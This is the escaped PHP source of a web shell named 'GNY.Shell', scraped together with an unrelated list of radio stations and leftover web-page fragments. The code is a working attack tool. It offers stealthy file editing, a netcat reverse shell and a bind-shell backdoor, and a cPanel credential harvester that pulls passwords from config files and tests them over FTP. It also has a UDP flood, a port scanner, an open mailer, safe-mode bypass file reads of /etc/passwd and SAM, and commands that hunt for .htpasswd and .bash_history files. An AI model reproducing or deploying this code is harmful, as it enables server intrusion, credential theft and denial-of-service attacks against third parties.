    \"; } elseif ($ft == \"exe\") { $ext = explode(\".\",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = \"\"; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace(\"%f%\",$f,$rft); echo \"Execute file:

    Display in text-area
    \"; } elseif ($ft == \"sdb\") {echo \"
    \"; var_dump(unserialize(base64_decode($r))); echo \"
    \";} elseif ($ft == \"code\") { if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",$r)) { $arr = explode(\"\\n\",$r); if (count($arr == 18)) { include($d.$f); echo \"phpBB configuration is detected in this file!
    \"; if ($dbms == \"mysql4\") {$dbms = \"mysql\";} if ($dbms == \"mysql\") {echo \"Connect to DB

    \";} else {echo \"You cannot connect to forum database, because the database software of \\\"\".$dbms.\"\\\" is not supported by GNY.Shell\";} echo \"Parameters for manual connect:
    \"; $cfgvars = array(\"dbms\"=>$dbms,\"dbhost\"=>$dbhost,\"dbname\"=>$dbname,\"dbuser\"=>$dbuser,\"dbpasswd\"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k).\"=\'\".htmlspecialchars($v).\"\'
    \";} echo \"

    \"; } } echo \"
    \"; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {GNYexit();} echo \"
    \"; } elseif ($ft == \"download\") { @ob_clean(); header(\"Content-type: application/octet-stream\"); header(\"Content-length: \".filesize($d.$f)); header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\"); echo $r; exit; } elseif ($ft == \'notepad\') { @ob_clean(); header(\"Content-type: text/plain\"); header(\"Content-disposition: attachment; filename=\\\"\".$f.\".txt\\\";\"); echo($r); exit; } elseif ($ft == \'img\') { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo \"
    Size: \"; $sizes = array(\"100\",\"50\",\"20\"); foreach ($sizes as $v) { echo \"\"; if ($imgsize != $v ) {echo $v;} else {echo \"\".$v.\"\";} echo \"%  \"; } echo \"

    \"; } else { @ob_clean(); $ext = explode($f,\".\"); $ext = $ext[count($ext)-1]; header(\"Content-type: \".$inf[\"mime\"]); readfile($d.$f); exit; } } elseif ($ft == \'edit\') { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,\"w\"); if (!$fp) {echo \"Can\'t write to file!\";} else { echo \'Saved!\'; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode(\"\\r\\n\",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo \"
      
    \"; } elseif (!empty($ft)) {echo \"
    Manually selected type is incorrect.\";} else {echo \"
    Unknown extension (\".$ext.\"), please, select type manually.
    \";} } } } else { @ob_clean(); //For simple size- and speed-optimization. $imgequals = array( \"ext_tar\"=>array(\"ext_tar\",\"ext_r00\",\"ext_ace\",\"ext_arj\",\"ext_bz\",\"ext_bz2\",\"ext_tbz\",\"ext_tbz2\",\"ext_tgz\",\"ext_uu\",\"ext_xxe\",\"ext_zip\",\"ext_cab\",\"ext_gz\",\"ext_iso\",\"ext_lha\",\"ext_lzh\",\"ext_pbk\",\"ext_rar\",\"ext_uuf\"), \"ext_php\"=>array(\"ext_php\",\"ext_php3\",\"ext_php4\",\"ext_php5\",\"ext_phtml\",\"ext_shtml\",\"ext_htm\"), \"ext_jpg\"=>array(\"ext_jpg\",\"ext_gif\",\"ext_png\",\"ext_jpeg\",\"ext_jfif\",\"ext_jpe\",\"ext_bmp\",\"ext_ico\",\"ext_tif\",\"tiff\"), \"ext_html\"=>array(\"ext_html\",\"ext_htm\"), \"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi\",\"ext_mpg\",\"ext_mpeg\",\"ext_wmv\",\"ext_rm\"), \"ext_lnk\"=>array(\"ext_lnk\",\"ext_url\"), \"ext_ini\"=>array(\"ext_ini\",\"ext_css\",\"ext_inf\"), \"ext_doc\"=>array(\"ext_doc\",\"ext_dot\"), \"ext_js\"=>array(\"ext_js\",\"ext_vbs\"), \"ext_cmd\"=>array(\"ext_cmd\",\"ext_bat\",\"ext_pif\"), \"ext_wri\"=>array(\"ext_wri\",\"ext_rtf\"), \"ext_swf\"=>array(\"ext_swf\",\"ext_fla\"), \"ext_mp3\"=>array(\"ext_mp3\",\"ext_au\",\"ext_midi\",\"ext_mid\"), \"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd\",\"ext_ht\",\"ext_hta\",\"ext_so\") ); if (!$getall) { header(\"Content-type: image/gif\"); header(\"Cache-control: public\"); header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030))); header(\"Cache-control: max-age=\".(60*60*24*7)); header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = \"small_unk\";} if (in_array($img,$ext_tar)) {$img = \"ext_tar\";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(\"Warning! Remove \\$images[\".$d.\"]
    \");}}}} natsort($images); $k = array_keys($images); echo \"
    \"; foreach ($k as $u) {echo \'[\'.$u.\']
    \';} echo \"
    \"; } exit; } if ($act == \'backc\') { $ip = $_SERVER[\"REMOTE_ADDR\"]; $msg = $_POST[\'backcconnmsg\']; $emsg = $_POST[\'backcconnmsge\']; echo(\'
    Back-Connection:

    Host: Port: Use:
    First, run NetCat on your computer using \\\'nc -l -n -v -p \'.$bc_port.\'\\\'. Then, click \"Connect\" once the port is listening.
    \'); echo $msg; echo $emsg; } if ($act == \'rip\') { ?> \'; foreach($users as $user) { $user = explode(\':\', $user); echo \'\'.$user[0].\'\'.$user[5].\'\'; } echo \'\'; } if ($act == \'cpanel\'){ if ($_GET[\'go\'] == \'go\'){ set_time_limit(0); ################## @$passwd=fopen(\'/etc/passwd\',\'r\'); if (!$passwd) { echo \"[-] Error : coudn\'t read /etc/passwd\"; exit; } $path_to_public=array(); $users=array(); $pathtoconf=array(); $i=0; while(!feof($passwd)) { $str=fgets($passwd); if ($i>35) { $pos=strpos($str,\":\"); $username=substr($str,0,$pos); $dirz=\"/home/$username/public_html/\"; if (($username!=\"\")) { if (is_readable($dirz)) { array_push($users,$username); array_push($path_to_public,$dirz); } } } $i++; } ################### ######################### function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath=\"$path$file\"; if (($file!=\'.\') and ($file!=\'..\')) { if (is_readable($fpath)) { $dr=\"$fpath/\"; if (is_dir($dr)) { read_dir($dr,$username); } else { if (($file==\'config.php\') or ($file==\'config.inc.php\') or ($file==\'db.inc.php\') or ($file==\'connect.php\') or ($file==\'wp-config.php\') or ($file==\'var.php\') or ($file==\'configure.php\') or ($file==\'db.php\') or ($file==\'db_connect.php\')) { $pass=get_pass($fpath); if ($pass!=\'\') { echo \"[+] $fpath\\n$pass\\n\"; ftp_check($username,$pass); } } } } } } } } function get_pass($link) { @$config=fopen($link,\'r\'); while(!feof($config)) { $line=fgets($config); if (strstr($line,\'pass\') or strstr($line,\'password\') or strstr($line,\'passwd\')) { if (strrpos($line,\'\"\')) $pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,\'\"\')-(strpos($line,\'=\')+3))); else $pass=substr($line,(strpos($line,\'=\')+3),(strrpos($line,\"\'\")-(strpos($line,\'=\')+3))); return $pass; } } } function ftp_check($login,$pass) { @$ftp=ftp_connect(\'127.0.0.1\'); if ($ftp) { @$res=ftp_login($ftp,$login,$pass); if ($res) { echo \'[cPanel Found] \'.$login.\':\'.$pass.\" Success\\n\"; } else ftp_quit($ftp); } } echo \"

    \"; echo \"
    \"; }else echo \'
    Are you sure you would like to search for cPanel accounts on this website/server?
    Please note this may take a long time to execute depending on the website/server it is run on.

    Yes || No
    \'; } if ($act == \'phptools\'){ ?>
    Mailer




    \'; if (isset($_GET[\'to\']) && isset($_GET[\'from\']) && isset($_GET[\'subject\']) && isset($_GET[\'body\'])) { $headers = \'From: \'.$_GET[\'from\']; mail ($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'body\'],$headers); echo \'Email sent.\'; } //port scanner echo \'
    Port Scanner
    \'; $start = strip_tags($_GET[\'start\']); $end = strip_tags($_GET[\'end\']); $host = strip_tags($_GET[\'host\']); if(isset($_GET[\'host\']) && is_numeric($_GET[\'end\']) && is_numeric($_GET[\'start\'])){ for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo \'Port \'.$i.\' is open
    \'; } flush(); } }else{ ?>
    Host:

    Port start:

    Port end:

    \"; $max_time = $time+$exec_time; $host = $_GET[\'host\']; for($i=0;$i<65000;$i++){ $out .= \'X\'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen(\'udp://\'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"
    UDP Flood
    Completed with $pakits (\" . round(($pakits*65)/1024, 2) . \" MB) packets averaging \". round($pakits/$exec_time, 2) . \" packets per second \\n\"; echo \'

    Host: Length (seconds):
    \'; }else{ echo \'
    UDP Flood
    Host:

    Length (seconds):

    \'; } ?>
    Bind Shell Backdoor:

    Bind Port:
    \"); echo(\"$msg\"); echo(\"$emsg\"); echo(\"
    \"); } ?>
    Enter:
    \">\">\"> 
    Kernel Info:
    \">

    Functions
    Make Dir
    Go Dir
    \"> \">

     
    \">\">
    \">

    \">
    \">

     
    Aliases
    Make File
    Go File
    /dev/null\'), array(\'Installed Downloaders\', \'which wget curl w3m lynx\'), array(\'Open Ports\', \'netstat -an | grep -i listen\'), array(\'Box Uptime\', \'uptime\'), array(\'System Variables\', \'set\'), array(\'ARP table\', \'arp -a\'), array(\'Patch Level for RedHat 7.0\', \'rpm -qa\'), array(\'Network Interfaces\', \'ifconfig\'), array(\'Mounted Filesystems\', \'mount\'), array(\'Create 1GB File in Current Dir (for h00lyshit)\', \'dd if=/dev/urandom of=./bigfile count=2M\'), array(\'Find Suid Bins\', \'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null\'), array(\"Find All Suid Files\", \"find / -type f -perm -04000 -ls\"), array(\"Find Suid Files in Current Dir\", \"find . -type f -perm -04000 -ls\"), array(\"Find All Sgid Files\", \"find / -type f -perm -02000 -ls\"), array(\"Find Sgid Files in Current Dir\", \"find . -type f -perm -02000 -ls\"), array(\"Find config.inc.php Files\", \"find / -type f -name config.inc.php\"), array(\"Find config* Files\", \"find / -type f -name \\\"config*\\\"\"), array(\"Find config* Files in Current Dir\", \"find . -type f -name \\\"config*\\\"\"), array(\"Find All Writable Folders and Files\", \"find / -perm -2 -ls\"), array(\"Find All Writable Folders and Files in Current Dir\", \"find . -perm -2 -ls\"), array(\"Find All service.pwd Files\", \"find / -type f -name service.pwd\"), array(\"Find service.pwd Files in Current Dir\", \"find . -type f -name service.pwd\"), array(\"Find All .htpasswd Files\", \"find / -type f -name .htpasswd\"), array(\"Find .htpasswd Files in Current Dir\", \"find . -type f -name .htpasswd\"), array(\"Find All .bash_history Files\", \"find / -type f -name .bash_history\"), array(\"Find .bash_history Files in Current Dir\", \"find . -type f -name .bash_history\"), array(\"Find All .fetchmailrc Files\", \"find / -type f -name .fetchmailrc\"), array(\"Find .fetchmailrc Files in Current Dir\", \"find . -type f -name .fetchmailrc\"), array(\"List File Attributes on a Linux Second Extended File System\", \"lsattr -va\"), ); } else // if the box is windows { $cmdaliases = array( array(\'-----------------------------------------------------------\', \'dir\'), array(\'Active Connections\', \'netstat -an\'), array(\'ARP Table\', \'arp -a\'), array(\'Net Shares\', \'net use\'), array(\'IP Configuration\', \'ipconfig /all\'), array(\'Disk Quotas\', \'fsutil quota query \'.$pd[0]), array(\'Drive Type\', \'fsutil fsinfo drivetype \'.$pd[0]) ); } ?>
    act=cmd\" method=\"POST\">\">

     
    \"> \">

    \">\">
    \">

     

    PHP Safe-Mode Bypass (Read File)

    \" method=GET> File:

    e.g.: /etc/passwd or C:\\WINDOWS\\system32\\.SAM
    \'.$get.\'
    \'; if(copy(\"compress.zlib://\".$file, $temp)){ $fichier = fopen($temp, \'r\'); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo \'Start \'.$get.\'
    \'.$source.\'

    Fin \'.$get.\'\'; unlink($temp); } else echo \'
    Sorry... File \'.htmlspecialchars($file).\' doesn\\\'t exist or you don\\\'t have access.
    \'; } ?>
    PHP Safe-Mode Bypass (Directory Listing)

    \" method=GET> Dir:

    e.g.: /etc/ or C:\\
    \'.$chemin.\'

    \'; foreach ($files as $filename) echo $filename.\"\\n
    \"; // added the \\n for easier readability while viewing the html source } ?>

    Search
    \">  - regexp 

    Upload
     

    .:[ GNY.Shell | Standard Edition | Generated in: ]:.
    Acid Jazz
    Beatles
    Best Country
    Beyond Bebop
    Business Talk Radio
    Channel 202
    Christmas Blender
    Christmas Classics
    Christmas Country
    Christmas Fun
    Christmas Gospel
    Christmas Highway
    Christmas Kids
    Christmas Kountry
    Christmas Mix
    Christmas Oldies
    Christmas Power
    Christmas R&B
    Christmas Rock
    Christmas Smooth Jazz
    Christmas Soundtracks
    Christmas Spirit
    Christmas Standards
    Christmas Swing
    Clasical @ 202
    Classic Alternative
    Classic Hits
    Classic Jazz
    Comedy
    Energy 98
    Front Porch
    Funk
    Fusion
    Good Time Oldies
    Highway
    Hot Country
    Jammin 202
    Kickin Country
    Lifestyle Talk
    Lite 80's
    Mellow Gold
    My Country
    Old School HipHop/RnB
    Power 202
    Prima (Gets You Moving!)
    Q The 90's & Now
    Q The 90's & Now
    R&B
    Real Country
    Reggae Roots
    Salsa
    Sensual World
    Smooth Jazz
    Soul
    Super 70s
    Techno Club
    The Chillout Lounge
    The Eagle (Classic Rock)
    The Eagle (Classic Rock)
    The Edge Alternative
    The Mix
    The Office
    Trance Jazz
    U.S. Country
    Ultimate 80's
    Vocals
    right banner

    advertisement

    latest forum topics